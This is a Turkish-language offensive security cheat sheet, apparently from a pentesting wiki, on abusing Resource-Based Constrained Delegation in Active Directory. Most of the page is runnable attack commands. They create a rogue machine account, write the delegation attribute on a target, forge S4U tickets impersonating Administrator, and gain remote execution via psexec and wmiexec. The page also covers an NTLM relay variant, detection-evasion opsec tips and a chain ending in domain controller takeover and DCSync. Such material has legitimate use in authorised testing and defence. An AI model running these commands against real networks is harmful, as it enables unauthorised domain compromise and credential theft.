Resource-Based Constrained Delegation (RBCD)
ATT&CK T1558.003 difficulty: orta
RBCD, bir hedef bilgisayar nesnesinin msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğine yazma yetkiniz olduğunda kötüye kullanılır. Kendi kontrolünüzdeki bir (makine) hesabını hedefe “onun adına delege edebilir” olarak ayarlar, ardından S4U2Self + S4U2Proxy ile hedefte istediğiniz kullanıcı (ör. Administrator) adına servis bileti alırsınız.
Klasik constrained delegation’ın tersine: hak kaynak (target computer) üzerindedir, servis hesabında msDS-AllowedToDelegateTo gerekmez.
Ön koşul
Section titled “Ön koşul”- Hedef bilgisayar üzerinde yazma: GenericAll / GenericWrite / WriteProperty (özellikle msDS-AllowedToActOnBehalfOfOtherIdentity ) / WriteDacl → self-grant.
- Kontrol ettiğiniz SPN’li hesap (genelde yeni machine account).
- ms-DS-MachineAccountQuota ≥ 1 (varsayılan 10) — veya mevcut SPN’li hesap.
BloodHound: GenericWrite/GenericAll/WriteOwner → Computer, AllowedToAct, AddAllowedToAct.
nxc ldap DC -u user -p 'Pass' -M maqKomut üreteci
Section titled “Komut üreteci”RBCD · getST S4U
embedded toolimpacket-getST -spn cifs/target.domain.local -impersonate Administrator domain.local/EVIL:Pass123RBCD · getST S4U
Section titled “RBCD · getST S4U”Saldırı akışı
Section titled “Saldırı akışı”-
Kontrol edilen makine hesabı oluştur :
Terminal window impacket-addcomputer domain.local/user:'Pass123' \-computer-name 'EVIL$' -computer-pass 'EvilPass123!' \-dc-ip 10.10.10.5 -dc-host dc01.domain.localTerminal window bloodyAD -u user -p 'Pass123' -d domain.local --host DC \add computer EVIL 'EvilPass123!' -
RBCD’yi ayarla — hedef attribute’a EVIL$ security descriptor yaz:
Terminal window impacket-rbcd domain.local/user:'Pass123' -delegate-from 'EVIL$' \-delegate-to 'TARGET$' -action write -dc-ip 10.10.10.5Terminal window impacket-rbcd domain.local/user:'Pass123' -delegate-to 'TARGET$' \-action read -dc-ip 10.10.10.5Terminal window impacket-rbcd domain.local/user:'Pass123' -delegate-from 'EVIL$' \-delegate-to 'TARGET$' -action remove -dc-ip 10.10.10.5Terminal window -
S4U ile bilet al :
Terminal window impacket-getST -spn cifs/target.domain.local \-impersonate Administrator \'domain.local/EVIL$:EvilPass123!' -dc-ip 10.10.10.5Terminal window Rubeus.exe s4u /user:EVIL$ /rc4:<EVIL_NT_HASH> \/impersonateuser:Administrator \/msdsspn:cifs/target.domain.local /ptt -
Kullan :
Terminal window export KRB5CCNAME=Administrator.ccacheTerminal window impacket-psexec -k -no-pass domain.local/Administrator@target.domain.localTerminal window impacket-wmiexec -k -no-pass domain.local/Administrator@target.domain.local
LDAP relay ile RBCD (coercion zinciri)
Section titled “LDAP relay ile RBCD (coercion zinciri)”Signing kapalı DC LDAP’ına relay + –delegate-access:
impacket-ntlmrelayx -t ldap://dc01.domain.local --delegate-access --escalate-user EVIL$Sonra aynı getST adımı. Bkz. Coercion.
Shadow Credentials alternatifi
Section titled “Shadow Credentials alternatifi”Aynı GenericWrite ile sıkça Shadow Credentials daha kısa yol olabilir (PKINIT → NT hash). RBCD, shadow’un çalışmadığı (DF seviyesi / PKINIT yok) yerlerde devreye girer.
Opsec (ofansif)
Section titled “Opsec (ofansif)”- EVIL$ oluşturma + RBCD write = iki LDAP değişikliği; iş bitince rbcd remove + bilgisayarı disable/delete (kurala göre).
- getST S4U 4769 log’u.
- Rastgele bilgisayar adı ( EVIL$ ) yerine ortama uyan isim (opsec).
- Target DC$ üzerinde RBCD = doğrudan domain takeover — stop condition.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- MachineAccountQuota=0 ve SPN’siz user ile RBCD → S4U fail; mevcut computer hesabı credential’ı kullan.
- Impersonate Administrator Protected Users / sensitive → başka admin dene.
- FQDN SPN yanlış ( target vs target.domain.local ).
- Attribute’a yazma var sanıp aslında sadece WriteAccountRestrictions vb. kısıtlı property set — BloodHound kenarını doğrula.
- Clock skew.
Saldırı zinciri
Section titled “Saldırı zinciri”BloodHound GenericWrite → Computer TARGET$ → MachineAccountQuota ile EVIL$ oluştur → rbcd.py write EVIL$ → TARGET$ → getST -spn cifs/TARGET -impersonate Administrator → export KRB5CCNAME → wmiexec/smbclient -kGenericWrite on DC$ → RBCD → impersonate DA → DCSyncKomut özeti
Section titled “Komut özeti”impacket-addcomputer domain.local/user:'Pass' -computer-name EVIL \ -computer-pass 'EvilPass123!' -dc-ip DCrbcd.py domain.local/user:'Pass' -delegate-from EVIL$ -delegate-to TARGET$ \ -dc-ip DC -action writeimpacket-getST -spn cifs/target.domain.local -impersonate Administrator \ -dc-ip DC domain.local/EVIL$:'EvilPass123!'export KRB5CCNAME=Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccacheimpacket-wmiexec -k -no-pass domain.local/Administrator@target.domain.localSonraki adımlar
Section titled “Sonraki adımlar”Shadow Credentials · ACL Abuse · Pass-the-Ticket · Delegation